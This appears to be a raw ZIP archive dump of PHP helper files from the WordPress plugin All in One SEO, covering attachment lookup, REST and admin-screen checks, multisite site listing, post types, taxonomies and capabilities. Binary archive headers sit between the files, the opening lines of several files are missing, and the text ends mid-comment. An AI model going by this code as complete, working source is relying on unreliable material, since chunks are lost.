4.0.13 * * @param string $url The attachment URL. * @return int|bool The attachment ID or false if no attachment could be found. */ public function attachmentUrlToPostId( $url ) { $cacheName = 'attachment_url_to_post_id_' . sha1( "aioseo_attachment_url_to_post_id_$url" ); $cachedId = aioseo()->core->cache->get( $cacheName ); if ( $cachedId ) { return 'none' !== $cachedId && is_numeric( $cachedId ) ? (int) $cachedId : false; } $path = $url; $uploadDirInfo = wp_get_upload_dir(); $siteUrl = wp_parse_url( $uploadDirInfo['url'] ); $imagePath = wp_parse_url( $path ); // Force the protocols to match if needed. if ( isset( $imagePath['scheme'] ) && ( $imagePath['scheme'] !== $siteUrl['scheme'] ) ) { $path = str_replace( $imagePath['scheme'], $siteUrl['scheme'], $path ); } if ( ! $this->isValidAttachment( $path ) ) { aioseo()->core->cache->update( $cacheName, 'none' ); return false; } if ( 0 === strpos( $path, $uploadDirInfo['baseurl'] . '/' ) ) { $path = substr( $path, strlen( $uploadDirInfo['baseurl'] . '/' ) ); } $results = aioseo()->core->db->start( 'postmeta' ) ->select( 'post_id' ) ->where( 'meta_key', '_wp_attached_file' ) ->where( 'meta_value', $path ) ->limit( 1 ) ->run() ->result(); if ( empty( $results[0]->post_id ) ) { aioseo()->core->cache->update( $cacheName, 'none' ); return false; } aioseo()->core->cache->update( $cacheName, $results[0]->post_id ); return $results[0]->post_id; } /** * Returns true if the request is a non-legacy REST API request. * This function was copied from WooCommerce and improved. * * @since 4.1.2 * * @return bool True if this is a REST API request. */ public function isRestApiRequest() { if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { return true; } global $wp_rewrite; if ( empty( $wp_rewrite ) ) { return false; } if ( empty( $_SERVER['REQUEST_URI'] ) ) { return false; } $restUrl = wp_parse_url( get_rest_url() ); $restUrl = $restUrl['path'] . ( ! empty( $restUrl['query'] ) ? '?' . $restUrl['query'] : '' ); $isRestApiRequest = ( 0 === strpos( $_SERVER['REQUEST_URI'], $restUrl ) ); return apply_filters( 'aioseo_is_rest_api_request', $isRestApiRequest ); } /** * Checks whether the current request is an AJAX, CRON or REST request. * * @since 4.1.3 * * @return bool Wether the request is an AJAX, CRON or REST request. */ public function isAjaxCronRestRequest() { return wp_doing_ajax() || wp_doing_cron() || $this->isRestApiRequest(); } /** * Check if we are in the middle of a WP-CLI call. * * @since 4.2.8 * * @return bool True if we are in the WP_CLI context. */ public function isDoingWpCli() { return defined( 'WP_CLI' ) && WP_CLI; } /** * Checks whether we're on the given screen. * * @since 4.0.7 * @version 4.3.1 * * @param string $screenName The screen name. * @param string $comparison Check as a prefix. * @return bool Whether we're on the given screen. */ public function isScreenBase( $screenName, $comparison = '' ) { $screen = $this->getCurrentScreen(); if ( ! $screen || ! isset( $screen->base ) ) { return false; } if ( 'prefix' === $comparison ) { return 0 === stripos( $screen->base, $screenName ); } return $screen->base === $screenName; } /** * Returns if current screen is of a post type * * @since 4.0.17 * * @param string $postType Post type slug * @return bool True if the current screen is a post type screen. */ public function isScreenPostType( $postType ) { $screen = $this->getCurrentScreen(); if ( ! $screen || ! isset( $screen->post_type ) ) { return false; } return $screen->post_type === $postType; } /** * Returns if current screen is a post list, optionaly of a post type. * * @since 4.2.4 * * @param string $postType Post type slug. * @return bool Is a post list. */ public function isScreenPostList( $postType = '' ) { $screen = $this->getCurrentScreen(); if ( ! $this->isScreenBase( 'edit' ) || empty( $screen->post_type ) ) { return false; } if ( ! empty( $postType ) && $screen->post_type !== $postType ) { return false; } return true; } /** * Returns if current screen is a post edit screen, optionaly of a post type. * * @since 4.2.4 * * @param string $postType Post type slug. * @return bool Is a post editing screen. */ public function isScreenPostEdit( $postType = '' ) { $screen = $this->getCurrentScreen(); if ( ! $this->isScreenBase( 'post' ) || empty( $screen->post_type ) ) { return false; } if ( ! empty( $postType ) && $screen->post_type !== $postType ) { return false; } return true; } /** * Gets current admin screen. * * @since 4.0.17 * * @return false|\WP_Screen|null */ public function getCurrentScreen() { if ( ! is_admin() || ! function_exists( 'get_current_screen' ) ) { return false; } return get_current_screen(); } /** * Checks whether the current site is a multisite subdomain. * * @since 4.1.9 * * @return bool Whether the current site is a subdomain. */ public function isSubdomain() { if ( ! is_multisite() ) { return false; } return apply_filters( 'aioseo_multisite_subdomain', is_subdomain_install() ); } /** * Returns if the current page is the login or register page. * * @since 4.2.1 * * @return bool Login or register page. */ public function isWpLoginPage() { // We can't sanitize the filename using sanitize_file_name() here because it will cause issues with custom login pages and certain plugins/themes where this function is not defined. $self = ! empty( $_SERVER['PHP_SELF'] ) ? wp_unslash( $_SERVER['PHP_SELF'] ) : ''; // phpcs:ignore HM.Security.ValidatedSanitizedInput.InputNotSanitized if ( preg_match( '/wp-login\.php$|wp-register\.php$/', $self ) ) { return true; } return false; } /** * Returns which type of WordPress page we're seeing. * It will only work if {@see \WP_Query::$queried_object} has been set. * * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#filter-hierarchy * * @since 4.2.8 * * @return string|null The template type or `null` if no match. */ public function getTemplateType() { static $type = null; if ( ! empty( $type ) ) { return $type; } if ( is_attachment() ) { $type = 'attachment'; } elseif ( is_single() ) { $type = 'single'; } elseif ( is_page() || $this->isStaticPostsPage() || $this->isWooCommerceShopPage() ) { $type = 'page'; } elseif ( is_author() ) { // An author page is an archive page, so it needs to be checked before `is_archive()`. $type = 'author'; } elseif ( is_tax() || is_category() || is_tag() ) { // A taxonomy term page is an archive page, so it needs to be checked before `is_archive()`. $type = 'taxonomy'; } elseif ( is_date() ) { // A date page is an archive page, so it needs to be checked before `is_archive()`. $type = 'date'; } elseif ( is_archive() ) { $type = 'archive'; } elseif ( is_home() && is_front_page() ) { $type = 'dynamic_home'; } elseif ( is_search() ) { $type = 'search'; } return $type; } /** * Sets the given post as the queried object of the main query. * * @since 4.3.0 * * @param \WP_Post|int $wpPost The post object or ID. * @return void */ public function setWpQueryPost( $wpPost ) { $wpPost = is_a( $wpPost, 'WP_Post' ) ? $wpPost : get_post( $wpPost ); global $wp_query, $post; $this->originalQuery = $this->deepClone( $wp_query ); $this->originalPost = is_a( $post, 'WP_Post' ) ? $this->deepClone( $post ) : null; $wp_query->posts = [ $wpPost ]; $wp_query->post = $wpPost; $wp_query->post_count = 1; $wp_query->get_queried_object_id = (int) $wpPost->ID; $wp_query->queried_object = $wpPost; $wp_query->is_single = true; $wp_query->is_singular = true; if ( 'page' === $wpPost->post_type ) { $wp_query->is_page = true; } $post = $wpPost; } /** * Restores the main query back to the original query. * * @since 4.3.0 * * @return void */ public function restoreWpQuery() { global $wp_query, $post; if ( is_a( $this->originalQuery, 'WP_Query' ) ) { // Loop over all properties and replace the ones that have changed. // We want to avoid replacing the entire object because it can cause issues with other plugins. foreach ( $this->originalQuery as $key => $value ) { if ( $value !== $wp_query->{$key} ) { $wp_query->{$key} = $value; } } } if ( is_a( $this->originalPost, 'WP_Post' ) ) { foreach ( $this->originalPost as $key => $value ) { if ( $value !== $post->{$key} ) { $post->{$key} = $value; } } } $this->originalQuery = null; $this->originalPost = null; } /** * Gets the list of theme features. * * @since 4.4.9 * * @return array List of theme features. */ public function getThemeFeatures() { global $_wp_theme_features; return isset( $_wp_theme_features ) && is_array( $_wp_theme_features ) ? $_wp_theme_features : []; } /** * Returns whether the active theme is a block-based theme or not. * * @since 4.5.3 * * @return bool Whether the active theme is a block-based theme or not. */ public function isBlockTheme() { if ( function_exists( 'wp_is_block_theme' ) ) { return wp_is_block_theme(); // phpcs:ignore AIOSEO.WpFunctionUse.NewFunctions.wp_is_block_themeFound } return false; } }PKÉ—[£ÅÒ¦€€=all-in-one-seo-pack/app/Common/Traits/Helpers/WpMultisite.phpnu„[µü¤site_id; } return get_current_blog_id(); } /** * Get a site (with aliases) by it's blog ID. * * @since 4.2.5 * * @param int $blogId The blog ID. * @return \WP_Site|null The site. */ public function getSiteByBlogId( $blogId ) { $sites = $this->getSites(); foreach ( $sites['sites'] as $site ) { if ( $site->blog_id === $blogId ) { return $site; } } return null; } /** * Get the current site. * * @since 4.2.5 * * @return \WP_Site|object A WP_Site instance of the current site or an object representing the same. */ public function getSite() { if ( is_multisite() ) { return get_site(); } return (object) [ 'domain' => $this->getSiteDomain(), 'path' => $this->getHomePath() ]; } /** * Get all sites in the multisite network. * * @since 4.2.5 * * @param int|string $limit The number of sites to get or 'all'. * @param int $offset The offset to start at. * @param null|string $searchTerm The search term to look for. * @param null|string $filter A filter to look up sites by. * @param null|string $orderBy The column to order results by. Defaults to null. * @param string $orderDir The direction to order results by. Defaults to 'DESC'. * @return array An array of sites. */ public function getSites( $limit = 'all', $offset = 0, $searchTerm = null, $filter = 'all', $orderBy = null, $orderDir = 'DESC' ) { $countSites = $this->countSites(); $sites = get_sites( [ 'network_id' => get_current_network_id(), 'number' => $countSites['public'], 'public' => 1 ] ); $allSites = []; foreach ( $sites as $site ) { $clonedSite = clone $site; $clonedSite->adminUrl = get_admin_url( $site->blog_id ); $clonedSite->homeUrl = get_home_url( $site->blog_id ); if ( $this->includeSite( $clonedSite, $filter ) ) { $allSites[] = $clonedSite; } // We need to look up aliases for Mercator, this checks to see if it's even enabled. if ( ! class_exists( '\Mercator\Mapping' ) ) { continue; } $aliases = $this->getSiteAliases( $site ); foreach ( $aliases as $alias ) { $aliasSite = clone $clonedSite; $aliasSite->domain = $alias['domain']; $aliasSite->path = '/'; $aliasSite->alias = $alias; $aliasSite->parentDomain = $site->domain; $aliasSite->parentPath = $site->path; if ( $this->includeSite( $aliasSite, $filter ) ) { $allSites[] = $aliasSite; } } } // If we have a search term, let's filter down these results. if ( ! empty( $searchTerm ) ) { foreach ( $allSites as $key => $site ) { $keep = false; if ( false !== stripos( $site->domain, $searchTerm ) || false !== stripos( $site->path, $searchTerm ) || false !== stripos( $site->parentDomain, $searchTerm ) || false !== stripos( $site->parentPath, $searchTerm ) ) { $keep = true; } if ( ! $keep ) { unset( $allSites[ $key ] ); } } } // Ordering the sites. if ( ! empty( $orderBy ) ) { usort( $allSites, function( $site1, $site2 ) use ( $orderBy, $orderDir ) { if ( empty( $site1->{ $orderBy } ) ) { return 0; } return 'ASC' === strtoupper( $orderDir ) ? ( $site1->{ $orderBy } > $site2->{ $orderBy } ? 1 : 0 ) : ( $site1->{ $orderBy } < $site2->{ $orderBy } ? 1 : 0 ); } ); } return [ 'total' => count( $allSites ), 'limit' => $limit, 'sites' => 'all' === $limit ? $allSites : array_slice( $allSites, $offset, $limit ) ]; } /** * Count the number of sites in the network. A clone of wp_count_sites. We use this because * we don't yet support WordPress 5.3. Once we do, we can revert to wp_count_sites. * * @since 4.4.5 * * @return array An array of aliases. */ private function countSites() { $networkId = get_current_network_id(); $counts = []; $args = [ 'network_id' => $networkId, 'number' => 1, 'fields' => 'ids', 'no_found_rows' => false, ]; $q = new \WP_Site_Query( $args ); $counts['all'] = $q->found_sites; $_args = $args; $statuses = [ 'public', 'archived', 'mature', 'spam', 'deleted' ]; foreach ( $statuses as $status ) { $_args = $args; $_args[ $status ] = 1; $q = new \WP_Site_Query( $_args ); $counts[ $status ] = $q->found_sites; } return $counts; } /** * Filter sites based on a passed in filter. Options include 'all', 'activated' or 'deactivated'. * * @since 4.2.5 * * @param Object $site The site object. * @param string $filter The filter to use. * @return bool The site if allowed or null if not. */ private function includeSite( $site, $filter ) { if ( 'all' === $filter ) { return true; } $siteIsActive = aioseo()->networkLicense->isSiteActive( $site ); if ( ( 'deactivated' === $filter && ! $siteIsActive ) || ( 'activated' === $filter && $siteIsActive ) ) { return true; } return false; } /** * Get an array of aliases for a WP_Site. * * @since 4.2.5 * * @param \WP_Site $site The Site. * @return array An array of aliases. */ public function getSiteAliases( $site ) { // We need to look up aliases for Mercator, this checks to see if it's even enabled. if ( ! class_exists( '\Mercator\Mapping' ) ) { return []; } $aliases = \Mercator\Mapping::get_by_site( $site->blog_id ); if ( empty( $aliases ) ) { return []; } $aliasData = []; foreach ( $aliases as $alias ) { $aliasData[] = [ 'alias_id' => $alias->get_id(), 'domain' => $alias->get_domain(), 'active' => $alias->is_active() ]; } return $aliasData; } /** * Wrapper for switch_to_blog especially for non-multisite setups. * * @since 4.2.5 * * @param int $blogId The blog ID to switch to. * @return bool Always returns true. */ public function switchToBlog( $blogId ) { if ( ! is_multisite() ) { return true; } return switch_to_blog( $blogId ); } /** * Wrapper for restore_current_blog especially for non-multisite setups. * * @since 4.2.5 * * @return bool True on success, false if we're already on the current blog or not in a multisite environment. */ public function restoreCurrentBlog() { if ( ! is_multisite() ) { return false; } return restore_current_blog(); } /** * Checks if the current plugin is network activated. * * @since 4.2.8 * * @param string|null $plugin The plugin to check for network activation. * @return bool True if network activated, false if not. */ public function isPluginNetworkActivated( $plugin = null ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! is_multisite() ) { return false; } $plugin = $plugin ? $plugin : plugin_basename( AIOSEO_FILE ); // If the plugin is not network activated, then no it's not network licensed. if ( ! is_plugin_active_for_network( $plugin ) ) { return false; } return true; } }PKÉ—[©,4“Y“Y4all-in-one-seo-pack/app/Common/Traits/Helpers/Wp.phpnu„[µü¤get_names(); asort( $roleNames ); return $roleNames; } /** * Returns the custom roles in the current WP install. * * @since 4.1.3 * * @return array An array of custom roles. */ public function getCustomRoles() { $allRoles = $this->getUserRoles(); $toSkip = array_merge( // Default WordPress roles. [ 'superadmin', 'administrator', 'editor', 'author', 'contributor' ], // Default AIOSEO roles. [ 'aioseo_manager', 'aioseo_editor' ], // Filterable roles. apply_filters( 'aioseo_access_control_excluded_roles', array_merge( [ 'subscriber' ], aioseo()->helpers->isWooCommerceActive() ? [ 'customer' ] : [] ) ) ); // Remove empty entries. $toSkip = array_filter( $toSkip ); $customRoles = []; foreach ( $allRoles as $roleName => $role ) { // Skip specific roles. if ( in_array( $roleName, $toSkip, true ) ) { continue; } $customRoles[ $roleName ] = $role; } return $customRoles; } /** * Returns an array of plugins with the active status. * * @since 4.0.0 * * @return array An array of plugins with active status. */ public function getPluginData() { $pluginUpgrader = new Utils\PluginUpgraderSilentAjax(); $installedPlugins = array_keys( get_plugins() ); $plugins = []; foreach ( $pluginUpgrader->pluginSlugs as $key => $slug ) { $adminUrl = admin_url( $pluginUpgrader->pluginAdminUrls[ $key ] ); $networkAdminUrl = null; if ( is_multisite() && is_network_admin() && ! empty( $pluginUpgrader->hasNetworkAdmin[ $key ] ) ) { $networkAdminUrl = network_admin_url( $pluginUpgrader->hasNetworkAdmin[ $key ] ); if ( aioseo()->helpers->isPluginNetworkActivated( $pluginUpgrader->pluginSlugs[ $key ] ) ) { $adminUrl = $networkAdminUrl; } } $plugins[ $key ] = [ 'basename' => $slug, 'installed' => in_array( $slug, $installedPlugins, true ), 'activated' => is_plugin_active( $slug ), 'adminUrl' => $adminUrl, 'networkAdminUrl' => $networkAdminUrl, 'canInstall' => aioseo()->addons->canInstall(), 'canActivate' => aioseo()->addons->canActivate(), 'canUpdate' => aioseo()->addons->canUpdate(), 'wpLink' => ! empty( $pluginUpgrader->wpPluginLinks[ $key ] ) ? $pluginUpgrader->wpPluginLinks[ $key ] : null ]; } return $plugins; } /** * Returns all registered Post Statuses. * * @since 4.1.6 * * @param boolean $statusesOnly Whether or not to only return statuses. * @return array An array of post statuses. */ public function getPublicPostStatuses( $statusesOnly = false ) { $allStatuses = get_post_stati( [ 'show_in_admin_all_list' => true ], 'objects' ); $postStatuses = []; foreach ( $allStatuses as $status => $data ) { if ( ! $data->public && ! $data->protected && ! $data->private ) { continue; } if ( $statusesOnly ) { $postStatuses[] = $status; continue; } $postStatuses[] = [ 'label' => $data->label, 'status' => $status ]; } return $postStatuses; } /** * Returns a list of public post types objects or names. * * @since 4.0.0 * * @param bool $namesOnly Whether only the names should be returned. * @param bool $hasArchivesOnly Whether to only include post types which have archives. * @param bool $rewriteType Whether to rewrite the type slugs. * @return array List of public post types. */ public function getPublicPostTypes( $namesOnly = false, $hasArchivesOnly = false, $rewriteType = false ) { $postTypes = []; $postTypeObjects = get_post_types( [], 'objects' ); foreach ( $postTypeObjects as $postTypeObject ) { if ( ! is_post_type_viewable( $postTypeObject ) ) { continue; } $postTypeArray = $this->getPostType( $postTypeObject, $namesOnly, $hasArchivesOnly, $rewriteType ); if ( ! empty( $postTypeArray ) ) { $postTypes[] = $postTypeArray; } } return apply_filters( 'aioseo_public_post_types', $postTypes, $namesOnly, $hasArchivesOnly ); } /** * Returns the data for the given post type. * * @since 4.2.2 * * @param \WP_Post_Type $postTypeObject The post type object. * @param bool $namesOnly Whether only the names should be returned. * @param bool $hasArchivesOnly Whether to only include post types which have archives. * @param bool $rewriteType Whether to rewrite the type slugs. * @return mixed Data for the post type. */ public function getPostType( $postTypeObject, $namesOnly = false, $hasArchivesOnly = false, $rewriteType = false ) { if ( empty( $postTypeObject->label ) ) { return $namesOnly ? null : []; } // We don't want to include archives for the WooCommerce shop page. if ( $hasArchivesOnly && ( ! $postTypeObject->has_archive || ( 'product' === $postTypeObject->name && $this->isWooCommerceActive() ) ) ) { return $namesOnly ? null : []; } if ( $namesOnly ) { return $postTypeObject->name; } if ( 'attachment' === $postTypeObject->name ) { $postTypeObject->label = __( 'Attachments', 'all-in-one-seo-pack' ); } if ( 'product' === $postTypeObject->name && $this->isWooCommerceActive() ) { $postTypeObject->menu_icon = 'dashicons-products'; } $name = $postTypeObject->name; if ( 'type' === $postTypeObject->name && $rewriteType ) { $name = '_aioseo_type'; } return [ 'name' => $name, 'label' => ucwords( $postTypeObject->label ), 'singular' => ucwords( $postTypeObject->labels->singular_name ), 'icon' => $postTypeObject->menu_icon, 'hasExcerpt' => post_type_supports( $postTypeObject->name, 'excerpt' ), 'hasArchive' => $postTypeObject->has_archive, 'hierarchical' => $postTypeObject->hierarchical, 'taxonomies' => get_object_taxonomies( $name ), 'slug' => isset( $postTypeObject->rewrite['slug'] ) ? $postTypeObject->rewrite['slug'] : $name ]; } /** * Returns a list of public taxonomies objects or names. * * @since 4.0.0 * * @param bool $namesOnly Whether only the names should be returned. * @param bool $rewriteType Whether to rewrite the type slugs. * @return array List of public taxonomies. */ public function getPublicTaxonomies( $namesOnly = false, $rewriteType = false ) { $taxonomies = []; if ( count( $taxonomies ) ) { return $taxonomies; } $taxObjects = get_taxonomies( [], 'objects' ); foreach ( $taxObjects as $taxObject ) { if ( empty( $taxObject->label ) || ! is_taxonomy_viewable( $taxObject ) ) { continue; } if ( in_array( $taxObject->name, [ 'product_shipping_class', 'post_format' ], true ) ) { continue; } // We need to exclude product attributes from this list as well. if ( 'pa_' === substr( $taxObject->name, 0, 3 ) && 'manage_product_terms' === $taxObject->cap->manage_terms && ! apply_filters( 'aioseo_woocommerce_product_attributes', false ) ) { continue; } if ( $namesOnly ) { $taxonomies[] = $taxObject->name; continue; } $name = $taxObject->name; if ( 'type' === $taxObject->name && $rewriteType ) { $name = '_aioseo_type'; } global $wp_taxonomies; $taxonomyPostTypes = ! empty( $wp_taxonomies[ $name ] ) ? $wp_taxonomies[ $name ]->object_type : []; $taxonomies[] = [ 'name' => $name, 'label' => ucwords( $taxObject->label ), 'singular' => ucwords( $taxObject->labels->singular_name ), 'icon' => strpos( $taxObject->label, 'categor' ) !== false ? 'dashicons-category' : 'dashicons-tag', 'hierarchical' => $taxObject->hierarchical, 'slug' => isset( $taxObject->rewrite['slug'] ) ? $taxObject->rewrite['slug'] : '', 'primaryTermSupport' => (bool) $taxObject->hierarchical, 'restBase' => ( $taxObject->rest_base ) ? $taxObject->rest_base : $taxObject->name, 'postTypes' => $taxonomyPostTypes ]; } return apply_filters( 'aioseo_public_taxonomies', $taxonomies, $namesOnly ); } /** * Retrieve a list of users that match passed in roles. * * @since 4.0.0 * * @return array An array of user data. */ public function getSiteUsers( $roles ) { static $users = []; if ( ! empty( $users ) ) { return $users; } $rolesWhere = []; foreach ( $roles as $role ) { $rolesWhere[] = '(um.meta_key = \'' . aioseo()->core->db->db->prefix . 'capabilities\' AND um.meta_value LIKE \'%\"' . $role . '\"%\')'; } $dbUsers = aioseo()->core->db->start( 'users as u' ) ->select( 'u.ID, u.display_name, u.user_nicename, u.user_email' ) ->join( 'usermeta as um', 'u.ID = um.user_id' ) ->whereRaw( '(' . implode( ' OR ', $rolesWhere ) . ')' ) ->orderBy( 'u.user_nicename' ) ->run() ->result(); foreach ( $dbUsers as $dbUser ) { $users[] = [ 'id' => (int) $dbUser->ID, 'displayName' => $dbUser->display_name, 'niceName' => $dbUser->user_nicename, 'email' => $dbUser->user_email, 'gravatar' => get_avatar_url( $dbUser->user_email ) ]; } return $users; } /** * Returns the ID of the site logo if it exists. * * @since 4.0.0 * * @return int */ public function getSiteLogoId() { if ( ! get_theme_support( 'custom-logo' ) ) { return false; } return get_theme_mod( 'custom_logo' ); } /** * Returns the URL of the site logo if it exists. * * @since 4.0.0 * * @return string */ public function getSiteLogoUrl() { $id = $this->getSiteLogoId(); if ( ! $id ) { return false; } $image = wp_get_attachment_image_src( $id, 'full' ); if ( empty( $image ) ) { return false; } return $image[0]; } /** * Returns noindexed post types. * * @since 4.0.0 * * @return array A list of noindexed post types. */ public function getNoindexedPostTypes() { return $this->getNoindexedObjects( 'postTypes' ); } /** * Checks whether a given post type is noindexed. * * @since 4.0.0 * * @param string $postType The post type. * @return bool Whether the post type is noindexed. */ public function isPostTypeNoindexed( $postType ) { $noindexedPostTypes = $this->getNoindexedPostTypes(); return in_array( $postType, $noindexedPostTypes, true ); } /** * Checks whether a given post type is public. * * @since 4.2.2 * * @param string $postType The post type. * @return bool Whether the post type is public. */ public function isPostTypePublic( $postType ) { $publicPostTypes = $this->getPublicPostTypes( true ); return in_array( $postType, $publicPostTypes, true ); } /** * Returns noindexed taxonomies. * * @since 4.0.0 * * @return array A list of noindexed taxonomies. */ public function getNoindexedTaxonomies() { return $this->getNoindexedObjects( 'taxonomies' ); } /** * Checks whether a given post type is noindexed. * * @since 4.0.0 * * @param string $taxonomy The taxonomy. * @return bool Whether the taxonomy is noindexed. */ public function isTaxonomyNoindexed( $taxonomy ) { $noindexedTaxonomies = $this->getNoindexedTaxonomies(); return in_array( $taxonomy, $noindexedTaxonomies, true ); } /** * Checks whether a given taxonomy is public. * * @since 4.2.2 * * @param string $taxonomy The taxonomy. * @return bool Whether the taxonomy is public. */ public function isTaxonomyPublic( $taxonomy ) { $publicTaxonomies = $this->getPublicTaxonomies( true ); return in_array( $taxonomy, $publicTaxonomies, true ); } /** * Returns noindexed object types of a given parent type. * * @since 4.0.0 * * @param string $type The parent object type ("postTypes" or "taxonomies"). * @return array A list of noindexed objects types. */ private function getNoindexedObjects( $type ) { $noindexed = []; foreach ( aioseo()->dynamicOptions->searchAppearance->$type->all() as $name => $object ) { if ( ! $object['show'] || ( $object['advanced']['robotsMeta'] && ! $object['advanced']['robotsMeta']['default'] && $object['advanced']['robotsMeta']['noindex'] ) ) { $noindexed[] = $name; } } return $noindexed; } /** * Returns all categories for a post. * * @since 4.1.4 * * @param int $postId The post ID. * @return array The category names. */ public function getAllCategories( $postId = 0 ) { $names = []; $categories = get_the_category( $postId ); if ( $categories && count( $categories ) ) { foreach ( $categories as $category ) { $names[] = aioseo()->helpers->internationalize( $category->name ); } } return $names; } /** * Returns all tags for a post. * * @since 4.1.4 * * @param int $postId The post ID. * @return array $names The tag names. */ public function getAllTags( $postId = 0 ) { $names = []; $tags = get_the_tags( $postId ); if ( ! empty( $tags ) && ! is_wp_error( $tags ) ) { foreach ( $tags as $tag ) { if ( ! empty( $tag->name ) ) { $names[] = aioseo()->helpers->internationalize( $tag->name ); } } } return $names; } /** * Loads the translations for a given domain. * * @since 4.1.4 * * @return void */ public function loadTextDomain( $domain ) { if ( ! is_user_logged_in() ) { return; } // Unload the domain in case WordPress has enqueued the translations for the site language instead of profile language. // Reloading the text domain will otherwise not override the existing loaded translations. unload_textdomain( $domain ); $mofile = $domain . '-' . get_user_locale() . '.mo'; load_textdomain( $domain, WP_LANG_DIR . '/plugins/' . $mofile ); } /** * Get the page builder the given Post ID was built with. * * @since 4.1.7 * * @param int $postId The Post ID. * @return bool|string The page builder or false if not built with page builders. */ public function getPostPageBuilderName( $postId ) { foreach ( aioseo()->standalone->pageBuilderIntegrations as $integration => $pageBuilder ) { if ( $pageBuilder->isBuiltWith( $postId ) ) { return $integration; } } return false; } /** * Get the edit link for the given Post ID. * * @since 4.3.1 * * @param int $postId The Post ID. * @return bool|string The edit link or false if not built with page builders. */ public function getPostEditLink( $postId ) { $pageBuilder = $this->getPostPageBuilderName( $postId ); if ( ! empty( $pageBuilder ) ) { return aioseo()->standalone->pageBuilderIntegrations[ $pageBuilder ]->getEditUrl( $postId ); } return get_edit_post_link( $postId ); } /** * Checks if the current user can edit posts of the given post type. * * @since 4.1.9 * * @param string $postType The name of the post type. * @return bool Whether the user can edit posts of the given post type. */ public function canEditPostType( $postType ) { $capabilities = $this->getPostTypeCapabilities( $postType ); return current_user_can( $capabilities['edit_posts'] ); } /** * Returns a list of capabilities for the given post type. * * @since 4.1.9 * * @param string $postType The name of the post type. * @return array The capabilities. */ public function getPostTypeCapabilities( $postType ) { static $capabilities = []; if ( isset( $capabilities[ $postType ] ) ) { return $capabilities[ $postType ]; } $postTypeObject = get_post_type_object( $postType ); if ( ! is_a( $postTypeObject, 'WP_Post_Type' ) ) { $capabilities[ $postType ] = []; return $capabilities[ $postType ]; } $capabilityType = $postTypeObject->capability_type; if ( ! is_array( $capabilityType ) ) { $capabilityType = [ $capabilityType, $capabilityType . 's' ]; } // Singular base for meta capabilities, plural base for primitive capabilities. list( $singularBase, $pluralBase ) = $capabilityType; $capabilities[ $postType ] = [ 'edit_post' => 'edit_' . $singularBase, 'read_post' => 'read_' . $singularBase, 'delete_post' => 'delete_' . $singularBase, 'edit_posts' => 'edit_' . $pluralBase, 'edit_others_posts' => 'edit_others_' . $pluralBase, 'delete_posts' => 'delete_' . $pluralBase, 'publish_posts' => 'publish_' . $pluralBase, 'read_private_posts' => 'read_private_' . $pluralBase, ]; return $capabilities[ $postType ]; } /** * Checks if the current user can edit terms of the given taxonomy. * * @since 4.1.9 * * @param string $taxonomy The name of the taxonomy. * @return bool Whether the user can edit posts of the given taxonomy. */ public function canEditTaxonomy( $taxonomy ) { $capabilities = $this->getTaxonomyCapabilities( $taxonomy ); return current_user_can( $capabilities['edit_terms'] ); } /** * Returns a list of capabilities for the given taxonomy. * * @since 4.1.9 * * @param string $taxonomy The name of the taxonomy. * @return array The capabilities. */ public function getTaxonomyCapabilities( $taxonomy ) { static $capabilities = []; if ( isset( $capabilities[ $taxonomy ] ) ) { return $capabilities[ $taxonomy ]; } $taxonomyObject = get_taxonomy( $taxonomy ); if ( ! is_a( $taxonomyObject, 'WP_Taxonomy' ) ) { $capabilities[ $taxonomy ] = []; return $capabilities[ $taxonomy ]; } $capabilities[ $taxonomy ] = (array) $taxonomyObject->cap; return $capabilities[ $taxonomy ]; } /** * Returns the charset for the site. * * @since 4.2.3 * * @return string The name of the charset. */ public function getCharset() { static $charset = null; if ( null !== $charset ) { return $charset; } $charset = get_option( 'blog_charset' ); $charset = $charset ? $charset : 'UTF-8'; return $charset; } /** * Returns the given data as JSON. * We temporarily change the floating point precision in order to prevent rounding errors. * Otherwise e.g. 4.9 could be output as 4.90000004. * * @since 4.2.7 * * @param mixed $data The data. * @param int $flags The flags. * @return string The JSON output. */ public function wpJsonEncode( $data, $flags = 0 ) { $originalPrecision = false; $originalSerializePrecision = false; if ( version_compare( PHP_VERSION, '7.1', '>=' ) ) { $originalPrecision = ini_get( 'precision' ); $originalSerializePrecision = ini_get( 'serialize_precision' ); ini_set( 'precision', 17 ); ini_set( 'serialize_precision', -1 ); } $json = wp_json_encode( $data, $flags ); if ( version_compare( PHP_VERSION, '7.1', '>=' ) ) { ini_set( 'precision', $originalPrecision ); ini_set( 'serialize_precision', $originalSerializePrecision ); } return $json; } /** * Returns the post title or a placeholder if there isn't one. * * @since 4.3.0 * * @param int $postId The post ID. * @return string The post title. */ public function getPostTitle( $postId ) { static $titles = []; if ( isset( $titles[ $postId ] ) ) { return $titles[ $postId ]; } $post = aioseo()->helpers->getPost( $postId ); if ( ! is_a( $post, 'WP_Post' ) ) { $titles[ $postId ] = __( '(no title)' ); // phpcs:ignore AIOSEO.Wp.I18n.MissingArgDomain return $titles[ $postId ]; } $title = $post->post_title; $title = $title ? $title : __( '(no title)' ); // phpcs:ignore AIOSEO.Wp.I18n.MissingArgDomain $titles[ $postId ] = aioseo()->helpers->decodeHtmlEntities( $title ); return $titles[ $postId ]; } /** * Checks whether the post status should be considered viewable. * This function is a copy of the WordPress core function is_post_status_viewable() which was introduced in WP 5.7. * * @since 4.5.0 * * @param string|\stdClass $postStatus The post status name or object. * @return bool Whether the post status is viewable. */ public function isPostStatusViewable( $postStatus ) { if ( is_scalar( $postStatus ) ) { $postStatus = get_post_status_object( $postStatus ); if ( ! $postStatus ) { return false; } } if ( ! is_object( $postStatus ) || $postStatus->internal || $postStatus->protected ) { return false; } return $postStatus->publicly_queryable || ( $postStatus->_builtin && $postStatus->public ); } /** * Checks whether the given post is publicly viewable. * This function is a copy of the WordPress core function is_post_publicly_viewable() which was introduced in WP 5.7. * * @since 4.5.0 * * @param int|\WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @return boolean Whether the post is publicly viewable or not. */ public function isPostPubliclyViewable( $post = null ) { $post = get_post( $post ); if ( empty( $post ) ) { return false; } $postType = get_post_type( $post ); $postStatus = get_post_status( $post ); return is_post_type_viewable( $postType ) && $this->isPostStatusViewable( $postStatus ); } /** * Only register a legacy widget if the WP version is lower than 5.8 or the widget is being used. * The "Block-based Widgets Editor" was released in WP 5.8, so for WP versions below 5.8 it's okay to register them. * The main purpose here is to avoid blocks and widgets with the same name to be displayed on the Customizer, * like e.g. the "Breadcrumbs" 